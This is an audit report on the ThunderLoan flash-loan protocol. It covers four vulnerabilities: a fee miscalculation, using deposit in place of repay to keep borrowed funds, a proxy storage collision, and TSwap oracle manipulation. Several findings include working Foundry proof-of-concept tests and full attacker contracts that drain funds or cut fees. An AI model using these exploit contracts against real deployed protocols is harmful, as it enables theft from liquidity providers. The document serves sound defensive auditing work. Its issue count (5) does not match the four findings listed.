Protocol Audit Report

Version 1.0

Cyfrin.io

May 5, 2024

ThunderLoan Audit Report

Daniel Stamler

May 5, 2024

Prepared by: Daniel Stamler - Independent Security Researcher

Table of Contents

Protocol Summary

ThunderLoan is a decentralized flash loan service , designed to facilitate uncollateralized loans that must be repaid within the same transaction block. This platform enables users to quickly access liquidity for complex financial strategies such as arbitrage without the need for traditional collateral requirements.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following comit hash:

```
661c9cfa92d11d0c467d22e59e0660f513e81166
```

Scope

- **Interfaces**
  - `IFlashLoanReceiver.sol`
  - `IPoolFactory.sol`
  - `ITSwapPool.sol`
  - `IThunderLoan.sol`
- **Protocol**
  - `AssetToken.sol`
  - `OracleUpgradeable.sol`
  - `ThunderLoan.sol`
- **Upgraded Protocol**
  - `ThunderLoanUpgraded.sol`

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	
Info	
Total	5

Findings

[H-1] Misapplied `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemtion and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);



@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

Impact: There are several impacts 1. The `redeem` function is blocked, because the protocol thinks the owed tokens are more than it has 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserved

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is noe impossible for LP to redeem.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
   function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
           amountToBorrow, "");
        vm.stopPrank();


        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recomended Mitigation Remove the incoredt uodated exchange rate lines from “deposit

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);



-     uint256 calculatedFee = getCalculatedFee(token, amount);
-     assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] Misuse of `thunderloan::deposit` allows multiple redemptions and retention of flashloaned funds

Description: The `ThunderLoan::deposit` function can be misused in place of the `repay` function during the repayment phase of a flashloan. This misuse allows a borrower to deposit the flashloaned funds as a regular deposit instead of repaying them. Consequently, the borrower can then execute the `redeem` function again, effectively withdrawing the funds they initially borrowed. This sequence leads to an unintended scenario where the borrower can extract and retain the flashloaned funds without proper repayment,

Impact: The exploitation of the ThunderLoan::deposit function allows attackers to repeatedly withdraw funds without proper repayment, eventuall draining all assets from the protocol.

Proof of Concept:

1. The attacker initiates a flashloan for 50 ETH from the ThunderLoan protocol using a receiver contract called `DepositOverRepay`.
2. Instead of repaying the flashloan through the repay function, the attacker deposits the borrowed funds back into the ThunderLoan using the `deposit` function. This action is recorded as a regular deposit, not as repayment of the loan. However, this deposit also ensures that the balance check condition in the flashloan function is satisfied:

```
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(starting_balance + fee,
        endingBalance);
}
```

3. Having manipulated the deposit to appear as repayment, the attacker then uses the redeem function to withdraw the same amount, effectively extracting more funds than they borrowed and capitalizing on this loophole

Place the following test into `ThunderLoanTest.t.sol`

```
function testUseDepositIstaedOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

along with the malicious `DepositOverRepay` contract:

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, //initiator,
        bytes calldata //params
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
```

```
            thunderLoan.deposit(IERC20(token), amount + fee);
            return true;
        }

        function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
    }
```

Recommended Mitigation: Modify the repay function to be the only method that can modify the loan repayment status. This ensures that the protocol accurately tracks and enforces loan repayments.

[H-3] Storage Collision in `ThunderLoanUpgraded` contract

Description: ‘ThunderLoan.sol has two variables in the following order:

```
        uint256 private s_feePrecision;
        uint256 private s_flashLoanFee;
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
        uint256 private s_flashLoanFee;
        uint256 public constant FEE_PRECISION = 1e18;
```

Since the proxy relies on the layout defined in the original contract, any mismatch leads to the proxy reading or writing incorrect data. This misalignment can corrupt the contract’s state, leading to faulty operations and unpredictable behavior.

Proof of Concept: Below is a test that can be added to the `ThunderLoanTest.t.sol` test file:

```
    function testUpgradeBreaks() public {
            uint256 feeBeforeUpgrade = thunderLoan.getFee();
            vm.startPrank(thunderLoan.owner());
            ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
            thunderLoan.upgradeToAndCall(address(upgraded), "");
            uint256 feeAfterUpgrade = thunderLoan.getFee();
            vm.stopPrank();
            console2.log("Fee Before Upgrade:", feeBeforeUpgrade);
            console2.log("Fee After Upgrade:", feeAfterUpgrade);
            assert(feeBeforeUpgrade != feeAfterUpgrade);
        }
```

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you’re going to replace a storage variable with a constant. In ThunderLoanUpgraded.sol:

```
-     uint256 private s_flashLoanFee; // 0.3% ETH fee
-     uint256 public constant FEE_PRECISION = 1e18;
```

```
+     uint256 private s_blank;
+     uint256 private s_flashLoanFee;
+     uint256 public constant FEE_PRECISION = 1e18;
```

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The vulnerability arises from the interaction between the ThunderLoan contract and the external DEX, TSwap. ThunderLoan uses TSwap as an oracle to determine the price of tokens for calculating fees on flash loans. This dependency allows an attacker to manipulate the price of tokens on TSwap through using a flash loan and buying tokens on tswap which will tank the price, impacting the fees calculated by ThunderLoan.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction. 1. User takes a flash loan from ThunderLoan for 1000 tokenA and is charged the original fee. 2. During the flash loan, the user sells 1000 tokenA on Tswap, causing the price to drop. 3. Instead of repaying immediately, the user takes out another flash loan for another 1000 tokenA. 4. Due to the way ThunderLoan calculates prices based on the TSwapPool, this second flash loan is significantly cheaper.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testOracleManipulation() public {
          thunderLoan = new ThunderLoan();
          tokenA = new ERC20Mock();
          proxy = new ERC1967Proxy(address(thunderLoan), "");
          BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
              ;
          // 1. Create a Tswap Dex between WETH / TokenA
          address tswapPool = pf.createPool(address(tokenA));
          thunderLoan = ThunderLoan(address(proxy));
          thunderLoan.initialize(address(pf));

          //2. Fund TSwap
          vm.startPrank(liquidityProvider);
          tokenA.mint(liquidityProvider, 100e18);
          tokenA.approve(address(tswapPool), type(uint256).max);
          weth.mint(liquidityProvider, 100e18);
          weth.approve(address(tswapPool), type(uint256).max);

          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
              timestamp);
          vm.stopPrank();
          // Ratio 100 WETH & 100 Token A
          // Price: 1:1
```

```

        // 3. Fund ThunderLoan
        // Set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), type(uint256).max);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price > 150 TokenA -> ~80
            WETH
        //Take out ANOTHER flash loan of 50 tokenA )and we'll see how
            much cheaper it is)

        //4. We are going to take out 2 flash loans
        //    a. To nuke the price of the Weth/tokenA on TSwap
        //    b. To show that doing so greatly reduces the fees we pay
            on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("Normal Fee is:", normalFeeCost);
        // 296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReciever flr = new MaliciousFlashLoanReciever
            (
             address(tswapPool), address(thunderLoan), address(
                 thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract MaliciousFlashLoanReciever is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, //initiator,
        bytes calldata //params
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap Token a borrowed for weth
            // 2. Take out ANOTHER flash loan, to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price!!
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // we call a second flash loan!!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            //repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            //repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.